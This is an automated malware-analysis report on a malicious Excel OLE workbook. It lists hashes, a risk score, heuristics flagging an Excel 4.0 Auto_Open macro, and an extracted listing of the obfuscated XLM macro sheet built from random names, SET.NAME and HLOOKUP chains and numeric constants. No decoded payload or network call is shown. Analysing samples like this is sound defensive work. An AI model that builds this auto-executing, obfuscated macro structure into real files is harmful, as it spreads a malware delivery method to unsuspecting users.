Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5b74477c04e9a29…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:09 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 8875c378f8b145a922c356c31e76b003 SHA-1: 078c93abf7674236b00bee0d95defe444ac39772 SHA-256: a5b74477c04e9a299ed8f85f8893c7f33feaa041fc1921fc949618b07afcbce7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: fe9d9151e54f273531d7dec57fed27f860b45d3cbaa7189fd2a3e7b0f1fe39b9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ztwVT
' 0018     23 LABEL : Cell Value, String Constant - ADwyHPUy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     23 LABEL : Cell Value, String Constant - bcLSCISN len=0 
' 0018     21 LABEL : Cell Value, String Constant - Bfllrv len=0 
' 0018     20 LABEL : Cell Value, String Constant - bqFtq len=0 
' 0018     26 LABEL : Cell Value, String Constant - dZvFHGCaEsA len=0 
' 0018     27 LABEL : Cell Value, String Constant - gyMwRVMgehiE len=0 
' 0018     22 LABEL : Cell Value, String Constant - HeFAKXJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - iWbFRpn len=0 
' 0018     24 LABEL : Cell Value, String Constant - knPUMtorw len=0 
' 0018     20 LABEL : Cell Value, String Constant - LWtaL len=0 
' 0018     25 LABEL : Cell Value, String Constant - mLqLESRtfx len=0 
' 0018     25 LABEL : Cell Value, String Constant - MrmADNObDc len=0 
' 0018     24 LABEL : Cell Value, String Constant - OCcqDqZdX len=0 
' 0018     24 LABEL : Cell Value, String Constant - oIBjyrFoB len=0 
' 0018     23 LABEL : Cell Value, String Constant - oVgbXZSB len=0 
' 0018     22 LABEL : Cell Value, String Constant - PiPseli len=0 
' 0018     22 LABEL : Cell Value, String Constant - qzaRvFV len=0 
' 0018     27 LABEL : Cell Value, String Constant - tolVPYvMPXSO len=0 
' 0018     22 LABEL : Cell Value, String Constant - UfFsMYm len=0 
' 0018     21 LABEL : Cell Value, String Constant - wIDmbl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ztwVT,T41,"",889.00000000000000000000
'  ztwVT,T42,"",-763.00000000000000000000
'  ztwVT,T43,"",-14.00000000000000000000
'  ztwVT,T44,"",-272.00000000000000000000
'  ztwVT,T45,"",380.00000000000000000000
'  ztwVT,T46,"",270.00000000000000000000
'  ztwVT,F56,"SET.NAME("tolVPYvMPXSO",0+VALUE("0"))",""
'  ztwVT,F61,"SET.NAME("MrmADNObDc",tolVPYvMPXSO)",""
'  ztwVT,F64,"SET.NAME("HeFAKXJ",tolVPYvMPXSO)",""
'  ztwVT,F68,"SET.NAME("UfFsMYm",COUNTA(PiPseli))",""
'  ztwVT,F70,"SET.NAME("wIDmbl",COUNTA(bcLSCISN))",""
'  ztwVT,F73,[],""
'  ztwVT,F78,"SET.NAME("qzaRvFV","")",""
'  ztwVT,F81,"MrmADNObDc",""
'  ztwVT,F83,"SET.NAME("Bfllrv",HLOOKUP("*",PiPseli,MrmADNObDc,FALSE))",""
'  ztwVT,F88,"mLqLESRtfx",""
'  ztwVT,F92,"SET.NAME("ADwyHPUy",tolVPYvMPXSO)",""
'  ztwVT,F95,[],""
'  ztwVT,F100,"ADwyHPUy",""
'  ztwVT,F104,"knPUMtorw",""
'  ztwVT,F108,"dZvFHGCaEsA",""
'  ztwVT,F112,"oVgbXZSB",""
'  ztwVT,F116,"SET.NAME("OCcqDqZdX",VALUE(HLOOKUP("*",bcLSCISN,oVgbXZSB,FALSE)))",""
'  ztwVT,F118,"oIBjyrFoB",""
'  ztwVT,F122,"qzaRvFV",""
'  ztwVT,F126,"HeFAKXJ",""
'  ztwVT,F128,NEXT(),""
'  ztwVT,F130,"LWtaL",""
'  ztwVT,F132,[],""
'  ztwVT,F135,"iWbFRpn",""
'  ztwVT,F139,NEXT(),""
'  ztwVT,F141,RETURN(),""
'  ztwVT,F167,"SET.NAME("gyMwRVMgehiE",F56)",""
'  ztwVT,F170,"PiPseli",""
'  ztwVT,F173,"SET.NAME("bcLSCISN",R70C15)",""
'  ztwVT,F178,"SET.NAME("iWbFRpn",186)",""
'  ztwVT,F181,"SET.NAME("bqFtq",6)",""
'  ztwVT,F185,gyMwRVMgehiE(),""
'  ztwVT,F186,HALT(),""